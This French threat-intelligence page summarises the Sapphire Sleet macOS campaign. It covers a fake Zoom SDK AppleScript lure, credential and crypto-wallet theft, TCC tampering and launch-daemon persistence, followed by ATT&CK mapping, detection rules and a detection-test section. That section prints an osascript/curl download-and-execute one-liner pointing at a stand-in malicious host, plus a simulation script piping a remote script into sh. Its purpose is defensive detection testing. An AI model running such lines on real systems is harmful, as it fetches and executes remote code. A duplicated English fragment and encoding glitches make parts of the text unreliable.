Dissection de l’intrusion de Sapphire Sleet sur macOS : de l’appât au compromis
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Microsoft Threat Intelligence a signalé une campagne ciblant macOS attribuée à l’acteur sponsorisé par l’État nord-coréen Sapphire Sleet. L’opération repose sur l’ingénierie sociale pour persuader les cibles de lancer des fichiers AppleScript malveillants présentés comme une mise à jour légitime du SDK Zoom. Une fois exécuté, le script récupère des charges utiles supplémentaires via curl and osascript, étendant l’intrusion en plusieurs étapes. Le malware est conçu pour voler des identifiants, des données de portefeuille de cryptomonnaie et d’autres informations sensibles, tout en contournant les protections de sécurité natives de macOS pour rester actif sur les systèmes compromis.
Investigation
L’enquête décrit une chaîne d’infection en plusieurs étapes qui commence par un .scpt fichier d’appât et se poursuit par une séquence de curl-à-osascript téléchargements de charges utiles. Les chercheurs ont identifié plusieurs composants de porte dérobée, y compris com.apple.cli, un binaire de services, icloudz, et com.google.chromes.updaters. Les acteurs de la menace ont également été observés en train de manipuler la base de données TCC de macOS pour obtenir des autorisations AppleEvents, utilisant des techniques de chargement de code réflexif et établissant une persistance via un démon de lancement. L’activité d’exfiltration reposait sur des chaînes d’agent utilisateur personnalisées et des communications par le biais de l’API Telegram Bot.
Atténuation
Apple a déjà publié des mises à jour de Safe Browsing et XProtect pour perturber l’infrastructure de la campagne et les composants malveillants. Microsoft recommande de bloquer l’exécution de fichiers .scpt , de restreindre les pipelines non sécurisés curl , de surveiller les changements non autorisés de la base de données TCC et d’auditer les installations de démons de lancement pour des entrées suspectes. Les utilisateurs devraient également être avertis des invites de mise à jour logicielle non sollicitées et conseillés de ne pas fournir d’identifiants via des dialogues ou scripts inattendus.
Réponse
Les défenseurs devraient détecter l’exécution malveillante d’AppleScript, les chaînes d’agent utilisateur anormales et les connexions sortantes vers des domaines de commande et de contrôle connus. Tous les binaires identifiés et les démons de lancement devraient être mis en quarantaine ou supprimés immédiatement, suivis de réinitialisations d’identifiants pour les utilisateurs concernés et de la validation de l’intégrité de la base de données TCC. Les intervenants d’incidents devraient également effectuer une analyse médico-légale sur les artefacts système collectés et restaurer les données impactées à partir de sauvegardes propres si nécessaire. curl user-agent strings, and outbound connections to known command-and-control domains. Any identified binaries and launch daemons should be quarantined or removed immediately, followed by credential resets for affected users and validation of TCC database integrity. Incident responders should also perform forensic analysis on collected system artifacts and restore impacted data from clean backups wherever necessary.
graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[« <b>Technique</b> – <b>T1204.002 Exécution par l’utilisateur : Fichier malveillant</b><br/><b>Description</b>: Les victimes sont incitées à exécuter un fichier malveillant qui déclenche l’intrusion. »] class tech_user_execution technique tech_trusted_dev_proxy[« <b>Technique</b> – <b>T1127 Exécution proxy via outils de développement fiables</b><br/><b>Description</b>: Des outils de développement légitimes sont utilisés comme proxy pour exécuter des charges malveillantes. »] class tech_trusted_dev_proxy technique tech_subvert_trust[« <b>Technique</b> – <b>T1553 Subversion des contrôles de confiance</b><br/><b>Description</b>: Les attaquants manipulent les relations de confiance pour obtenir des privilèges ou exécuter du code. »] class tech_subvert_trust technique tech_launch_daemon[« <b>Technique</b> – <b>T1543.004 Création ou modification de processus système : Launch Daemon</b><br/><b>Description</b>: Un daemon est créé ou modifié pour assurer la persistance. »] class tech_launch_daemon technique tech_alt_auth_material[« <b>Technique</b> – <b>T1550 Utilisation de matériel d’authentification alternatif</b><br/><b>Description</b>: Des identifiants ou jetons volés sont utilisés pour s’authentifier. »] class tech_alt_auth_material technique tech_archive_lib[« <b>Technique</b> – <b>T1560.002 Archivage des données collectées : via bibliothèque</b><br/><b>Description</b>: Les données sont compressées avant exfiltration à l’aide de bibliothèques logicielles. »] class tech_archive_lib technique tech_exfil_alt_proto[« <b>Technique</b> – <b>T1048 Exfiltration via protocole alternatif</b><br/><b>Description</b>: Les données sont exfiltrées via DNS, FTP ou autres protocoles non standards. »] class tech_exfil_alt_proto technique tech_dynamic_resolution[« <b>Technique</b> – <b>T1568 Résolution dynamique</b><br/><b>Description</b>: L’infrastructure C2 est résolue dynamiquement à l’exécution. »] class tech_dynamic_resolution technique tech_reflective_loading[« <b>Technique</b> – <b>T1620 Chargement réflexif de code</b><br/><b>Description</b>: Le code malveillant est chargé directement en mémoire. »] class tech_reflective_loading technique tech_system_binary_proxy[« <b>Technique</b> – <b>T1218.003 Exécution proxy via binaires système</b><br/><b>Description</b>: Des binaires système fiables sont utilisés pour exécuter du code malveillant. »] class tech_system_binary_proxy technique tech_modify_auth_process[« <b>Technique</b> – <b>T1556.001 Modification du processus d’authentification</b><br/><b>Description</b>: Les mécanismes d’authentification sont altérés pour accepter de fausses informations. »] class tech_modify_auth_process technique %% Connections tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto
Flux du005cu0027attaque
Détections
Communications C2 possibles sur HTTP vers une IP directe avec un port peu commun (via proxy)
Voir
Exécution possible par utilisation de chmod et nohup dans une seule commande (via cmdline)
Voir
Validation des identifiants MacOS via Dscl Authonly (via cmdline)
Voir
Tentative d’exécution suspecte de Curl [MacOS] (via cmdline)
Voir
Une archive a été créée dans le dossier temporaire de MacOS (via file_event)
Voir
Des permissions dangereuses pour un binaire/script/dossier ont été définies (via cmdline)
Voir
IOCs (HashSha256) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
IOCs (SourceIP) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
IOCs (DestinationIP) pour détecter : Dissection de l’intrusion macOS de Sapphire Sleet de l’appât au compromis
Voir
Détection de la communication C2 Sapphire Sleet [Connexion réseau Linux]
Voir
Détection de l’exécution d’AppleScript avec Curl Piping sur macOS [Création de processus Linux]
Voir
Exécution de Simulation
Prérequis : Le contrôle de télémétrie et de base de référence doit avoir réussi.
Raison : Cette section décrit l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration de l’attaque et commandes :
Un adversaire a obtenu un script de style PowerShell malveillant hébergé sur un serveur distant. Pour éviter de créer un binaire autonome, ils exploitent l’interpréteur AppleScript natif (osascript) et redirigent uncurltéléchargement directement dans l’interpréteur, réalisant un « téléchargement-et-exécution » en une commande. Cela correspond à la règleosascript+curlmotif.# Ligne unique malveillante qui devrait déclencher la règle osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'La ligne de commande contient à la fois
osascriptandcurl, ainsi la condition de la règle Sigma (selection_osascript and selection_curl) s’évalue comme vraie. -
Script de test de régression :
# simulate_osascript_curl.sh # Objectif : Reproduire la télémétrie exacte qui devrait déclencher la règle de détection. set -e # Définir une charge utile inoffensive pour la sécurité (echo au lieu de code malveillant réel) MALICIOUS_URL="https://example.com/benign_payload.sh" # Créer une charge utile inoffensive factice qui imprime juste un message. # Dans un vrai test de red-team, vous hébergeriez un script réel ; ici nous le gardons sûr. curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true # Exécuter l'AppleScript avec curl intégré dans une commande shell. osascript -e "do shell script "curl -s $MALICIOUS_URL | sh"" -
Commandes de nettoyage :
# cleanup_osascript_curl.sh # Supprimer tous les fichiers temporaires et terminer les processus errants. rm -f /tmp/benign_payload.sh pkill -f "osascript -e"